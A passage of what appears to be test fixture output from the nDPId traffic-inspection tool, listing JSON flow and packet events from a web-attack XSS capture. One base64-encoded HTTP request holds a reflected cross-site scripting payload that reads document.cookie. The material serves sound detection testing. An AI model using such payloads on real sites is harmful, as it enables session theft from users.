hk4q55tDeAxUZhh5BtXjDNjft\/\/RoVRhTQ\/cF8huWFgHgKPHflvGMU0idJxcMeeR5VCEWg3roHD0gKJ3dric4iEn3qcUjmqLA2cWsQVR8iJ+7B9yONzHdkYvvTdZKiSN6uxOwVHAOHdfS\/qHpgZurlouKljcuWVhphhq73X77aO95aDoX4LXweHo4Ux\/P3mtYLUSgwFcbrWcUuG6hwat79vpjeVQTRm9DngtSCUL9i9hhHpM22hFx52a6fW+3Butg1pAcgbsQz0Dtcq30yW3wopTFf2a5VXUi3CoEses+HoFNLrubugSRc9IdRfCkleQO4tQXS68Dudk2Lf1I8RHPlVvO4CfJ0O5QF2FCvvdoy6cjqGsp4gOZGYWqJnRYH\/PDl9vW22ht1D9nAj7J258D0BRsd2p\/Z4uBG0JOy8EoZOxq4Vuu1YtBJvjxu90F1AyN4qCuSJ8Mqtgg1BGLKCK0aJ+HkoVo4TGUK0DP5S9LsW18J8YQbc0loD980G\/qE2baWHx5ZiaNY1uZaYc86eysk7SrFr840K0\/Z3Vt1UinQ1iDmQTKjL47OWfhTaS+nlTQSzKHG+qmH\/EhJCoaDV8qPy1FAw8PFpfa3953+genp6dbJ0ffNjZ3vr728+T753Ovz\/Pvv44ON\/f+dD40v16ubV19Hnn+9bZ9kVve23jY1VCJMPMdlpeKOU1ZxsfZy0JwFHMuWbu4eb4L\/8UDrwLfxXT\/LKCSbtWxAdE4zyubPOpi4ZVTqlOXc8KIcpubJgR59lNDZ4NZp4NnGehHaNqBJ0ohluJJtfY\/31ZsyiujQ+4A6hSDFPBAbR1YG7Qhv7KBL2i9ayJ8Xl5i3GyxJvya56yiFMn2n5VLdel5U9je7mM5\/EUZoYjPkvGoYzt9bA5pL889yTxKIgXML5Ic46TCqZMw0l4Vt0D6qqOIrvloV52rgMF\/W7+W6awJ1JekXdCwaianebH8qK+1YbFgb1LHs0Pg8wY22cX+eGCsymC45\/OcnYq0ywNSjKZtPOsP3902AWK83QdPXHbT0BiMAaJNhw\/ASRXU7wtHdEScrqGNrCPFsLqQTIM2esC007mQmh2N6ngI8jbgg0hfzZZ7J9rpmze3W0S+EI0inlSuBC+y+IAndjXpYIGJM4p4FY\/7vSKlYhre31EpRefdOhQSnPnsSX1l3ntSh+7VqsJmNiLM38XdC92\/v\/\/r8wWkhQAAA=="} +00433{"flow_id":458,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6514,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347747,"pkt_ts_usec":193688,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0izBAAD4GOqisEAABwKgKMuwwAFCeqloXmypEe4AQAR2g4AAAAQEICgE74SsD5bKf"} +00948{"flow_id":458,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6515,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347748,"pkt_ts_usec":201174,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGzizFAAD4GOSisEAABwKgKMuwwAFCeqloXmypEe4AYAR1O7AAAAQEICgE74icD5bKfR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02821{"flow_id":458,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6516,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347748,"pkt_ts_usec":204239,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAcehCFAAEAGOM3AqAoyrBAAAQBQ7DCbKkR7nqpbloAYAP19\/AAAAQEICgPls5wBO+InSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjI5OjA3IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTgNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00433{"flow_id":458,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6517,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347748,"pkt_ts_usec":204951,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0izJAAD4GOqasEAABwKgKMuwwAFCeqluWmypLZYAQATmWYgAAAQEICgE74icD5bOc"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6518,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":461,"flow_packet_id":1,"flow_first_seen":1499347748472,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60518,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":461,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6518,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347748,"pkt_ts_usec":472415,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8W1pAAD4GanasEAABwKgKMuxmAFDolLkwAAAAAKACchDs4QAAAgQFtAQCCAoBO+JqAAAAAAEDAwc="} +00444{"flow_id":461,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6519,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347748,"pkt_ts_usec":472557,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7Gb4tplB6JS5MaAScSCkAwAAAgQFtAQCCAoD5bPfATviagEDAwc="} +00432{"flow_id":461,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6520,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347748,"pkt_ts_usec":473155,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0W1tAAD4Gan2sEAABwKgKMuxmAFDolLkx+LaZQoAQAOVDCgAAAQEICgE74msD5bPf"} +01216{"flow_id":458,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6521,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347748,"pkt_ts_usec":473814,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9izNAAD4GOFysEAABwKgKMuwwAFCeqluWmypLZYAYATlaxAAAAQEICgE74msD5bOcR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjcxWFRRSk5KUVFNSkNPQlg1UkhEODhRTElUMUpTTDZVSkhNQzQySzVTSlJVOEpGWktRQSUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +02961{"flow_id":458,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6522,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347748,"pkt_ts_usec":477243,"pkt_caplen":1934,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1934,"pkt_l4_len":1900,"pkt":"AMGxFOsxABm5CmnxCABFAAeAhCNAAEAGOGnAqAoyrBAAAQBQ7DCbKktlnqpd34AYAQd+XgAAAQEICgPls+ABO+JrSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjI5OjA4IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNw0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTcNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61Ye08bORD\/G6R+B59POqBS1k17PVGabAUJHFBogU0Kdzpp5ew6iYl3vbW9CXz7G+8jWZ5hGyQUvPY8fuMZj2f8Zr31W\/d7p\/fP2T4am0igs\/7eyVEH4QYhlx86hHR7XXR12Ds9QU3nHfKM4oEhZP8bRnhsTLJDyGw2c2YfHKlGpHdBbqyUpmUrhg2d8TihCbH7Zv3NeivTcxOJWLcfkdH89OlTzpqTr7XGjIYwXFtrRcxQZFka7GfKp23ckbFhsWn0bhOGUZB\/tbFhN4ZYEZ9RMKZKM9Pu9w4a2xiRXOZay3AjmPsjFTFTdMAFN7c76IINBQsMC1FHSa2Rxw1DXqB4Yng8QptXnreFdnZQl0YxKnkFQ5dsgHaTRPCAGi5jtNn9cbm7haZNp\/kOve2yKRMyiQDa2xbJFRcoBI8nSDHRxtrcCqbHjBmMDFhTGBFojdFYsWEbOw6Bv3A6o3aWRJTHTrZMHkrjsBWlnP94REeMwNRdSUM6tWROtjCXoTNrqxCu6ZTmsxhpFdwBcq2z\/2egwLnW2G2RnLLwHClcZ8cDGd6iQFBtvS4jhnOXhnyKeNjG1ndgEVOF1ytLVkhlfq3Fo9EDJJmRmgg5kk4SjzCiAgJhiaMWdgNWUPdAtd1kHxyXVrQ\/WPMTGoYszA0CglSUdtrVPSGDid0awZGMA1A9aeMZj0M5c2Apw9HeyC1xNnDJCgz0jrsc7B7CtrUIhV0W3F1\/iUAew+lLAzulnWScPCP\/Pil2jyoz9dTCgUuTJfrmNNj17BAROH4wibp7FWUkFe4KGzqtnG8O4TFQqWHkGVSPM2B3z\/5HB1IFNT1wXyC7YUEdABk9djsyimgcoqP4mmUeWQ1FoNWwDoqMHlB4FwerKR5y4nxJ4Ki2OXCmIVsSJS\/ix+4Bh8N9ZGf0ynuTJkLSsM7uFBwFjH72taJ\/aGLg5qrlooIlO7csSBVDnd2zXudwdzUo+qfgdXBk9HCmz09eK1itRH8Al1stp1S47qFBm3t2ems1VDNGJz6vBalkwe4ljJDHtI1WdNStmV7vy73R2q8FJGfALtQzUKt8P11xK6w4VdGvWV5FvQiHKnHMi69XQKPr7oYuUXhGqrsQVryCsrMI1eXS63BBhl1bP0J85FP1tgP4eTyUS9RVqLB7dngGp2Mo6ymiA5maJWrmNNjdtcPX21Zb6C1VvyDC7kk2vgegqNju1H5PF4K2hF0UgtDJ2NVCt12rFoKtcfNXugsomZtFwVwRPp1XsH4gQ+ZTxWhRPw+lilBMI6jWgR\/K3izFtfHvGEG3NJaA\/e\/9XlGbtpLC4ssxNRsa3cpUZcxfyso6TtJq8Y8L0fZ3Xt9WiXQ6iDiQTalI4dPLPwttJHHzpoJYlDneRDH3kAkhUdFquFD5aykYeHi0udG86p0ffzs+Pz897nzfu\/p4cdjd3j4\/Oeo1j72Tv\/rHh6edP99\/\/egdX\/S3jw\/+\/Xq+u7H1uSohlEFqOy0nkHLC2dbneUsCcBTLXLPwcGv83j2FA5+Fv4poflnBpF0r4gOicRFXtvnURcMqZ1QnWc8KIcpubJiRzLMNDZ715571M89CO0bVCDpRDLcSjSfY\/XVZ8yiujQ+4fahSDFP+PrR1YK7fgf7K+F7RetbE+Ly85ThZ7Mz4hCcs5DQTbb+qluvS8qexvVzG83gKM4MRnyfjQEb2emgM6U8ne5J4FMQLGF+kOcdJBVOmmUl4Vt0D6qqOIrvloV52rgMF\/W7+W6awJ1JekXcCwaian+bH8qK+1YZFvr1LHs0Pg9QY22cX+eEHZzMExz+Z5+xEJmnil2Qy7uRZf\/HosAMU\/WQTPXHbT0GiPwaJNhy\/AKSspvijdERbyNkG2sIuWgrLg2QYsNcFpjOZS6HZ3aSCjyBvCzaE\/NlikdvXTNm8u9Mi8IVoGPG4cCF8l8UBOrGvSwUNSFxQwK1+1PWKlZBre32EpRefdOhQSnPnsSVxV3ntSh67VqsJmNiLM38XzF7s3P8B6AS4bZIUAAA="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6527,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":462,"flow_packet_id":1,"flow_first_seen":1499347749751,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60532,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":462,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6527,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347749,"pkt_ts_usec":751996,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8IJFAAD4GpT+sEAABwKgKMux0AFD35MM7AAAAAKACchDSOAAAAgQFtAQCCAoBO+OqAAAAAAEDAwc="} +00444{"flow_id":462,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6528,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347749,"pkt_ts_usec":752119,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7HSHR7QM9+TDPKAScSDevgAAAgQFtAQCCAoD5bUfATvjqgEDAwc="} +00432{"flow_id":462,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6529,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347749,"pkt_ts_usec":752875,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0IJJAAD4GpUasEAABwKgKMux0AFD35MM8h0e0DYAQAOV9xgAAAQEICgE746oD5bUf"} +00432{"flow_id":459,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6533,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347749,"pkt_ts_usec":824600,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iG1AAD4GPWusEAABwKgKMuw+AFAw9lbLRPsA6oARAOWrwgAAAQEICgE747wD5bAW"} +00432{"flow_id":459,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6534,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347749,"pkt_ts_usec":824845,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0tdtAAEAGDf3AqAoyrBAAAQBQ7D5E+wDqMPZWzIARAOOmqAAAAQEICgPltTEBO+O8"} +00432{"flow_id":459,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6535,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347749,"pkt_ts_usec":825551,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iG5AAD4GPWqsEAABwKgKMuw+AFAw9lbMRPsA64AQAOWmpQAAAQEICgE7470D5bUx"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6542,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":420,"flow_packet_id":6,"flow_first_seen":1499347678198,"flow_last_seen":1499347683805,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59758,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6542,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":420,"flow_packet_id":6,"flow_first_seen":1499347678198,"flow_last_seen":1499347683805,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59758,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6542,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":421,"flow_packet_id":6,"flow_first_seen":1499347679469,"flow_last_seen":1499347684805,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59772,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6542,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":421,"flow_packet_id":6,"flow_first_seen":1499347679469,"flow_last_seen":1499347684805,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59772,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6542,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":422,"flow_packet_id":6,"flow_first_seen":1499347680746,"flow_last_seen":1499347685805,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59786,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6542,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":422,"flow_packet_id":6,"flow_first_seen":1499347680746,"flow_last_seen":1499347685805,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59786,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6542,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":423,"flow_packet_id":6,"flow_first_seen":1499347683313,"flow_last_seen":1499347688806,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59812,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6542,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":423,"flow_packet_id":6,"flow_first_seen":1499347683313,"flow_last_seen":1499347688806,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59812,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6542,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":424,"flow_packet_id":6,"flow_first_seen":1499347684563,"flow_last_seen":1499347689806,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59826,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6542,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":424,"flow_packet_id":6,"flow_first_seen":1499347684563,"flow_last_seen":1499347689806,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59826,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 